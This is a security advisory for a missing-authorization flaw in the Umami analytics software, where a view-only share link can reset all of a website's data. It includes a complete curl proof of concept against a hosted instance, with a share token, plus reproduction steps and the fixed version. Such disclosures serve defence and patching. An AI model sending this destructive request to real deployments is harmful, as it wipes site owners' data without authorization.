GHSA-8www-cffh-4q98 Anyone with a share link can RESET all website data in Umami

Not scored Published 28 Jul 2023

Attackers with view-only share links can reset all website data due to incorrect authorization checks on the reset endpoint.

Exploited in the wild: Not known
Login needed: Any signed-in user
Attackable: Over the internet
Victim action needed: Not needed
Fix: Available

What is GHSA-8www-cffh-4q98?

GHSA-8www-cffh-4q98 is a missing authorization vulnerability in umami, published on 28 Jul 2023. Any signed-in user can exploit it over the network, with no action from the victim.

Official description

Summary

Anyone with a share link (permissions to view) can reset the website data.

Details

When a user navigates to a /share/ URL, he receives a share token which is used for authentication. This token is later verified by useAuth. After the token is verified, the user can call most of the GET APIs that allow fetching stats about a website.

The POST /reset endpoint is secured using canViewWebsite which is the incorrect verification for such destructive action. This makes it possible to completly reset all website data ONLY with view permissions - permalink

PoC

curl -X POST &#39;https://analytics.umami.is/api/websites/b8250618-ccb5-47fb-8350-31c96169a198/reset&#39; \
  -H &#39;authority: analytics.umami.is&#39; \
  -H &#39;accept: application/json&#39; \
  -H &#39;accept-language: en-US,en;q=0.9&#39; \
  -H &#39;authorization: Bearer undefined&#39; \
  -H &#39;cache-control: no-cache&#39; \
  -H &#39;content-type: application/json&#39; \
  -H &#39;pragma: no-cache&#39; \
  -H &#39;referer: https://analytics.umami.is/share/bw6MFhkwpwEXFsbd/test&#39; \
  -H &#39;sec-ch-ua: &#34;Not.A/Brand&#34;;v=&#34;8&#34;, &#34;Chromium&#34;;v=&#34;114&#34;, &#34;Google Chrome&#34;;v=&#34;114&#34;&#39; \
  -H &#39;sec-ch-ua-mobile: ?0&#39; \
  -H &#39;sec-ch-ua-platform: &#34;Linux&#34;&#39; \
  -H &#39;sec-fetch-dest: empty&#39; \
  -H &#39;sec-fetch-mode: cors&#39; \
  -H &#39;sec-fetch-site: same-origin&#39; \
  -H &#39;user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36&#39; \
  -H &#39;x-umami-share-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ3ZWJzaXRlSWQiOiJiODI1MDYxOC1jY2I1LTQ3ZmItODM1MC0zMWM5NjE2OWExOTgiLCJpYXQiOjE2OTAzNjkxOTl9.zTfwFrfggE5na7rOOgkUobEBm48AH_8WVyh2RgJGzcw&#39; \
  --compressed

You can reproduce this by:

Accessing a website using it's share link
Copy the token received from the the received from the GET /share/{website-id}
Send a POST request to https://analytics.umami.is/api/websites/b8250618-ccb5-47fb-8350-31c96169a198/reset with x-umami-share-token: header equal to the token copied in the previous step
The website data is now cleared

Impact

Everyone with an open share link exposed to the internet!

Which versions are affected by GHSA-8www-cffh-4q98?

2 open source packages ship an affected version, including umami.

Package	Affected	Fixed in
`umami` npm	All versions	`2.3.1`
`umami` npm	All versions	`2.3.1`

How do I fix GHSA-8www-cffh-4q98?

Upgrade umami to 2.3.1 or later.

Upgrade, and check permissions on every request on the server, not only in the interface. More about Missing authorization.

Is GHSA-8www-cffh-4q98 being exploited?

There is no known exploitation of GHSA-8www-cffh-4q98 in the wild and no public exploit code.